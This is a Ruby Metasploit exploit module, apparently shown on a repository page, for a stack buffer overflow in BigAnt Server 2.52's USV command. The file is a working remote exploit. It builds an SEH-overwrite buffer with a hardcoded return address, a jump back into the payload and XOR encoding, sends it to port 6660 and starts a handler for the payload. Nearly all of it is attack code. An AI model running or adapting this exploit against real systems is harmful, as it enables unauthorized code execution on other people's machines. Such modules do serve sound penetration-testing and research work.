Michael Schierl
910644400d
All other types of references use String arguments, but approximately half of the EDB references use Fixnums. Fix this by using Strings here too.
89 lines
2.1 KiB
Ruby
89 lines
2.1 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GreatRanking
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include Msf::Exploit::Remote::Tcp
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include Msf::Exploit::Remote::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'BigAnt Server 2.52 USV Buffer Overflow',
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'Description' => %q{
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This exploits a stack buffer overflow in the BigAnt Messaging Service,
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part of the BigAnt Server product suite. This module was tested
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successfully against version 2.52.
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NOTE: The AntServer service does not restart, you only get one shot.
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},
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'Author' =>
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[
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'Lincoln',
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'DouBle_Zer0',
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'jduck'
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],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'OSVDB', '61386' ],
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[ 'EDB', '10765' ],
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[ 'EDB', '10973' ]
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],
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'Privileged' => true,
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'seh',
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},
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'Payload' =>
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{
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'Space' => (218+709+35),
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'BadChars' => "\x2a\x20\x27\x0a\x0f",
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# pre-xor with 0x2a:
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#'BadChars' => "\x00\x0a\x0d\x20\x25",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'BigAnt 2.52 Universal', { 'Ret' => 0x1b019fd6 } ], # Tested OK (jduck) p/p/r msjet40.dll xpsp3
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Dec 29 2009'))
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register_options([Opt::RPORT(6660)], self.class)
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end
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def exploit
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connect
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sploit = ""
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sploit << payload.encoded
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sploit << generate_seh_record(target.ret)
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sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + payload_space.to_s).encode_string
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sploit << rand_text_alphanumeric(3)
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sploit << [0xdeadbeef].pack('V') * 3
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# the buffer gets xor'd with 0x2a !
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sploit = sploit.unpack("C*").map{|c| c ^ 0x2a}.pack("C*")
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print_status("Trying target #{target.name}...")
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sock.put("USV " + sploit + "\r\n\r\n")
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handler
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disconnect
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end
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end
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